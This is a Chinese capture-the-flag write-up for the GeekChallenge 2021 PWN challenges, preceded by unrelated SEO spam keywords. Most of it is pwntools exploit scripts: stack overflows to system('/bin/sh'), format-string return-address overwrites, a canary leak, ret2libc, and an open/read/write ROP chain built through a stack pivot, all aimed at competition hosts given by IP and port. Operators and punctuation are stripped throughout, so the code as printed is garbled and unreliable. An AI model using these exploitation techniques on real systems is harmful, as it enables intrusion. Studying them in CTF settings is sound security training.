怎么在自己做的网站上发视频,广州建网站公司,百度如何优化,安卓app大全下载PWN-COMPETITION-GeekChallenge2021check in恋爱小游戏ret2xxone恋爱小游戏2.0easyfmteasycanaryret2babypwn777check in
66s内解答200道四则运算的题目即可getshell 参与运算的数和运算符都会打印#xff0c;直接写脚本即可
# -*- coding:utf-8 -*-
from pwn import *
cont…
PWN-COMPETITION-GeekChallenge2021check in恋爱小游戏ret2xxone恋爱小游戏2.0easyfmteasycanaryret2babypwn777check in
66s内解答200道四则运算的题目即可getshell 参与运算的数和运算符都会打印直接写脚本即可
# -*- coding:utf-8 -*-
from pwn import *
context.log_leveldebug
#ioprocess(./math)
ioremote(123.57.230.48,12343)
elfELF(./math)for i in range(200):io.recvuntil(num1:)num1int(io.recvuntil(\n)[:-1])io.recvuntil(num2:)num2int(io.recvuntil(\n)[:-1])io.recvuntil(this calculation is )signio.recvuntil(\n)[:-1]ans0if sign:ansnum1num2elif sign-:ansnum1-num2elif sign*:ansnum1*num2else:ansnum1/num2io.sendlineafter(your answer!!:\n,str(ans))io.interactive()恋爱小游戏
栈溢出覆写栈上变量的值使满足if即可getshell可直接在命令行输入payload
ret2xxone
Geek函数中存在栈溢出漏洞前提是先输入一个数和程序产生的随机数相同 由于程序没有通过srand()函数设置随机数种子所以每次运行程序时程序产生的随机数都是相同的可以通过调试得到 在0x0804860C处下断点程序调用rand()后返回值EAX即为程序产生的随机数这里为0x6b8b4567 之后就是利用栈溢出getshell
# -*- coding:utf-8 -*-
from pwn import *
ioprocess(./ret2xx)
elfELF(./ret2xx)
system_pltelf.plt[system]
binsh0x080486D0io.recvuntil(to solve it!\n)
num0x6b8b4567
io.send(p32(num))payloada*(0x1A4)p32(system_plt)p32(0xdeadbeef)p32(binsh)
io.send(payload)io.interactive()恋爱小游戏2.0
栈溢出原理和1.0一样注意在命令行输入payload后不能用回车要用CtrlD来结束输入 或者写脚本payload最后设为\x00即可
# -*- coding:utf-8 -*-
from pwn import *
ioremote(47.242.20.238,10000)
payloada*24loveyou\x00
io.send(payload)
io.interactive()easyfmt
格式化字符串漏洞第一次覆写栈上变量的值第二次覆写返回地址 backdoor关闭了标准输出流使用exec实现重定位再cat flag即可
# -*- coding:utf-8 -*-
from pwn import *
#ioprocess(./format_string)
ioremote(123.57.230.48,12342)
elfELF(./format_string)#gdb.attach(io,b * 0x08048685)
#pause()io.recvuntil(First step:\n0x)
v3_addrint(io.recvuntil(\n)[:-1],16)
print(v3_addrhex(v3_addr))payloadp32(v3_addr)%8c%15$hn # len(payload)13
io.send(payload)backdoor0x0804874D
ebp_sub_8v3_addr0x10
io.recvuntil(you enter there\n)
payloadp32(ebp_sub_8)%str(backdoor0xff-4)c%7$hhn
print(len(payload))
io.sendline(payload)io.sendline(exec 12)
io.sendline(cat flag)
#pause()io.interactive()easycanary
格式化字符串泄露canaryread利用栈溢出覆写返回地址getshell
# -*- coding:utf-8 -*-
from pwn import *
#ioprocess(./stackguard1)
ioremote(123.57.230.48,12344)
elfELF(./stackguard1)#gdb.attach(io,b * 0x4012A3)
#pause()payload%11$p
io.sendline(payload)
io.recvuntil(0x)
canaryint(io.recv(16),16)
print(canaryhex(canary))backdoor0x4011D6
payloada*(0x30-8)p64(canary)b*8p64(backdoor)
io.sendline(payload)#pause()io.interactive()ret2baby
main函数中说有两次机会其实一次就可以getshell了 input函数中要求输入一个position范围为[0,20]将这个position传入game函数中 对game函数的分析标注在注释中 当game函数第32行的if语句成立时可以造成栈溢出脚本如下
# -*- coding:utf-8 -*-
from pwn import *
context.log_leveldebug
#ioprocess(./ret2)
ioremote(123.57.230.48,12346)
elfELF(./ret2)binsh0x4014d4
pop_rdi0x401273
ret0x400318io.recvuntil(please input your position\n)
io.sendline(20)io.recvuntil(plz input your value\n)
io.sendline(0)io.recvuntil(this is a gitf 0x)
systemint(io.recv(12),16)
print(systemhex(system))payloada*(0x128)p64(pop_rdi)p64(binsh)p64(ret)p64(system)io.sendline(payload)io.interactive()pwn777
此题开了沙箱ban了execve系统调用于是考虑orw game函数中利用栈溢出覆写随机数种子为0绕过随机检测 fmt()函数中存在bss段上的格式化字符串漏洞参考bss上的格式化字符串漏洞 此题除了game函数中存在栈溢出其它函数中都不存在可实现rop的条件要想实现orw还需要栈迁移
# -*- coding:utf-8 -*-
from pwn import *
#context.log_leveldebug
context.archamd64 # 下面asm()找gadget需要
#ioprocess(./pwn01)
ioremote(47.242.20.238,7777)
elfELF(./pwn01)
libcELF(./libc-2.23.so)#offset0x1621
#io_base io.libs()[io.cwd io.argv[0].strip(.)]
#gdb.attach(io,b * str(io_baseoffset))
#pause()io.recvuntil(input your name\n)
namea*16p64(0)p32(0) # 栈溢出将随机数种子设为0
io.send(name)num[1804289383,846930886,1681692777,1714636915,1957747793,424238335,719885386,1649760492,596516649,1189641421]
for i in range(10):io.recvuntil(input your number:)io.sendline(str(num[i]))io.recvuntil(try your best!\n)
payload%6$p.%7$p.%13$p #泄露栈地址程序基地址libc基址
io.sendline(payload)
io.recvuntil(0x)
stack_addrint(io.recvuntil(.)[:-1],16) #栈地址
print(stack_addrhex(stack_addr))
io.recvuntil(0x)
proc_baseint(io.recvuntil(.)[:-1],16)-0x166F #程序基地址
print(proc_basehex(proc_base))
io.recvuntil(0x)
libc_baseint(io.recv(12),16)-240-libc.sym[__libc_start_main] #libc基址
print(libc_basehex(libc_base))
buf_addrproc_base0x4060 #buf地址
print(buf_addrhex(buf_addr))# 依照bss段上的格式化字符串漏洞利用原理实现栈迁移需要修改rbp到fake_rbp地址改写mymain的返回地址到一个leave_ret
# phase 1 start 改写mymain的返回地址到一个leave_ret
ripstack_addr0x8
rip_0_2rip0xff
print(rip_0_2hex(rip_0_2))
payload%str(rip_0_2)c%6$hhn #这里是偏移为6的链
io.sendline(payload)leave_retproc_base0x1676
print(leave_rethex(leave_ret))
retleave_ret0xff
print(rethex(ret))
payload%str(ret)c%10$hhn
io.sendline(payload)# phase 1 end# phase 2 start 改写rbp到fake_rbp地址由于原本栈上的rbp与fake_rbp地址完全不同需要分3次各次写2个字节共6个字节
fake_rbpbuf_addr0x10
print(fake_rbphex(fake_rbp))buf_addr_0_4(fake_rbp)0xffff
print(buf_addr_0_4hex(buf_addr_0_4))
payload%str(buf_addr_0_4)c%6$hn #低2字节可以用上面改写返回地址的链直接写偏移为6的链
io.sendline(payload)# 中间2字节 和 高2字节 需要找另一条链辅助写这里是偏移为15的链
stack_addr_add_2stack_addr0x2
print(stack_addr_add_2hex(stack_addr_add_2))
stack_addr_add_2stack_addr_add_20xffff
payload%str(stack_addr_add_2)c%15$hn
io.sendline(payload)buf_addr_4_8(fake_rbp16)0xffff
print(buf_addr_4_8hex(buf_addr_4_8))
payload%str(buf_addr_4_8)c%41$hn
io.sendline(payload)stack_addr_add_4stack_addr0x4
print(stack_addr_add_4hex(stack_addr_add_4))
stack_addr_add_4stack_addr_add_40xffff
payload%str(stack_addr_add_4)c%15$hn
io.sendline(payload)buf_addr_8_12(fake_rbp32)0xffff
print(buf_addr_8_12hex(buf_addr_8_12))
payload%str(buf_addr_8_12)c%41$hn
io.sendline(payload)
# phase 2 endbssproc_base0x4020
syscall libc_base0x1015D7 #在libc中找一个syscall的偏移即可
pop_rax_ret libc_baselibc.search(asm(pop rax; ret)).next() #注意设置context.archamd64
pop_rdi_ret libc_baselibc.search(asm(pop rdi; ret)).next()
pop_rsi_ret libc_baselibc.search(asm(pop rsi; ret)).next()
pop_rdx_ret libc_baselibc.search(asm(pop rdx; ret)).next()payloadjiaraniloveyou~\x00 # len16
payload./flag.ljust(8,\x00) #要打开的文件名
# 下面是利用栈迁移实现orw,open,read,write
payloadp64(pop_rdi_ret)p64(buf_addr0x10)p64(pop_rsi_ret)p64(0)p64(pop_rax_ret)p64(2)p64(syscall)
payloadp64(pop_rdi_ret)p64(3)p64(pop_rsi_ret)p64(bss)p64(pop_rdx_ret)p64(0x30)p64(pop_rax_ret)p64(0)p64(syscall)
payloadp64(pop_rdi_ret)p64(1)p64(pop_rsi_ret)p64(bss)p64(pop_rdx_ret)p64(0x30)p64(pop_rax_ret)p64(1)p64(syscall)
io.sendline(payload)#pause()io.interactive()